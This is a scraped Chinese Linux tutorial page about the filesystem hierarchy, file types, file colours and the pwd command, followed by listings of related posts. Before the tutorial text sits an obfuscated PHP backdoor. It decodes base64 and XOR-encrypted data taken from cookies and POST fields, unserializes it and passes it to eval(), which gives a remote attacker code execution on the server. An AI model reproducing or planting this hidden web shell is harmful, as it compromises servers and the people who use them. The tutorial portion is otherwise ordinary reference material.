$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} linux文件系统 | Linux运维部落

linux文件系统

 

 文件系统

linux区分大小写:

                   标准的linux文件系统xfs ext(如ext4),严格区分大小写,例:MAIL,Mail,mail;而windows是不那么敏感的。 这是因为文件系统的格式不同。比如:U盘的Fat32在linux中是vfat文件系统就可不区分大小写 不同文件系统,下面显示一个隐藏文件 linux中:lost+found

文件有两类数据:

元数据:metadata ;数据:data

文件系统分层结构:

LSB Linux Standard Base FHS:(Filesystem Hierarchy Standard) http://www.pathname.com/fhs/

文件名规则:

文件名称: 最长255字节,包括路径在内最长4095字节 除了斜杠和空NUL,甚至空格都可以作为文件名(# touch “a b”),创建-开头的文件:# touch — -a或# touch /root/-a # touch — -a # rm — -a

文件颜色:

绿色:可执行文件 浅蓝色l:链接文件 粉色s:套接字文件,用来和网络通讯 暗黄色p:管道文件 深黄色b:块文件 红色:打包、压缩文件

定义颜色文件

# cat /etc/DIR_COLORS
文件系统结构

/:根 /bin:基本命令的二进制文件。OS启动会用到的程序

/sbin:必备的系统管理员二进制工具 /boot:静态文件和启动相关(boot loader)的,引导文件,内核文件,引导加载器(bootloader,grub)

/dev/:设备文件:块设备,字符设备。/block device随机访问 /character device线性访问 块设备(d)有缓存,物理上存在的。访问的时候以块的方式进行访问,而且支持随机方式访问(与磁带有区别,同CD类似) 字符逻辑设备(c)没有缓存,通常是逻辑上的概念。访问的时候必须按照顺序进行 tip:传统文件显示大小,块设备、字符设备显示主序号,次序号                         /etc:主机相关的配置文件,相当于windows中的注册表 /lib:必须的共享库和内核模块

/bin:基本的共享库,内核模块 so:share object共享库

/media:可移动设备挂载点

/mnt:临时的可移动设备挂载点

/opt:第三方软件安装包   可选的应用程序包

/srv:系统提供服务的srv数据

/tmp:临时文件 /usr:二级分层的目录,与/相似 include:C程序的头文件 share:结构化独立的数据 local:第三方应用程序的安装位置

/var:可变化的程序 变量数据 cache:程序缓存数据目录 lib:程序状态信息数据 local:为/usr/local下的程序存储可变数据 lock:锁文件 log:日志目录及文件

/opt:专用/opt下的应用程序存储可变数据 run:运行中的进程相关数据,用于存储进程pid文件 spool:应用程序数据池 tmp:保持系统两次重启之间产生的临时数据

/home:用户家目录

/proc:存放进程、内存数据的虚拟文件系统

/sys:系统存放硬件相关信息:固件,文件系统,设备,时钟相关信息虚拟文件

/selinux:selinux相关的安全策略等信息的存储位置
tip:在CentOS 7上面,/bin目录是/usr/bin的一个软链接。但在CentOS 6上面/bin和/usr/bin是两码事。另外大部分的外部命令都在/bin下

 

文件存放的目录有2种大类

           静态:

static 解释: 数据通常没有特别频繁变化。不是永远固定不变 共享: /usr /opt 非共享: /etc /boot

           动态:

variable 解释: 变化比较频繁,时时刻刻有可能变化 共享: /var/mail /var/spool/news 非共享: /var/run /var/lock
应用程序的组成部分:

           二进制程序:

/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbin 库文件: /lib,/lib64,/usr/lib,/usr/bin64,/usr/local/lib,/usr/local/lib64

            配置文件:

/etc,/etc/DIrECTORY,/usr/local/etc 帮助文件: /usr/share/man,/usr/share/doc,/usr/local/share/man,/usr/local/share/doc
           文件类型:

-:普通文件 b:块设备 c:字符设备 d:目录文件 l:符号链接文件 p:管道文件pipe s:套接字文件socket CentOS 7与6的不同: /bin和/usr/bin /sbin和/usr/sbin /lib和/usr/lib /lib64和/usr/lib64 tip:7里面都合二为一
           当前工作目录

每个shell和系统进程都有一个当前的工作目录

pwd:

显示当前shell CWD的绝对路径

-P:真实目录(软连接则显示源目录)

-L:显示软连接路径(默认)

例:   # cd /bin

# pwd /bin

例:进入软连接的源目录

# cd -P /bin

# pwd /usr/bin

例:显示上次所在的路径:

# echo $OLDPWD
绝对路径和相对路径:

绝对: 完整的路径 相对:

.:当前路径

..:当前目录的父目录

-:上次的目录

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/88657

(0)
上一篇 2017-11-19 21:21
下一篇 2017-11-19 22:37

相关推荐

  • sed用法预习总结

    SED用法sed:Stream EDitor    行编辑器 sed:模式空间     默认不编辑原文件,仅对模式空间的数据做处理,将处理后的结果输出至屏幕 sed [options] 'AdressCommand' file…   &n…

    Linux干货 2016-08-10
  • Linux系统启动流程初识

    centos系统启动流程 本篇仅仅讲解centos5和6 centos7并不适用 Linux系统的组成部分:内核+根文件系统 内核功能: 进程管理 内存管理 网络管理 驱动程序 文件系统 安全功能 有以下目录结构的文件系统可以被识别为根文件系统,但根文件系统本身不存在 rootfs:/bin/ /sbin /etc/ /sys/…

    Linux干货 2016-09-11
  • N22-妙手-第五周博客作业

    1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行; [root@localhost grub]# grep "^[[:space:]]\+" /boot/grub/grub.conf 2、显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,…

    Linux干货 2016-09-19
  • Linux常见小知识点

    什么是Linux? Linux是一款支持多任务,多线程,多用户的类Unix系统 Linux常见的发行版本 Redhat  Linux   Linux发行版中比较重要的一个版本,多用于企业,由Redhat公司提供收费技术支持和更新,其衍生版本有centos为免费版本 Debain linux      系统分为…

    Linux干货 2017-03-26
  • Python from entry to abandon 3

        第十章的内容是解决问题————编写一个Python脚本。在我的电脑上因为Zip命令不能正常工作所以无法给出演示。该章给出了很有意义的编程思路,对以后学习和工作都有不错的参考意义,这部分有兴趣的同学还是自己去看原版教程吧。    这篇博客结合个人笔记整理了《简明Python教程》第十一章到第十…

    Linux干货 2017-04-07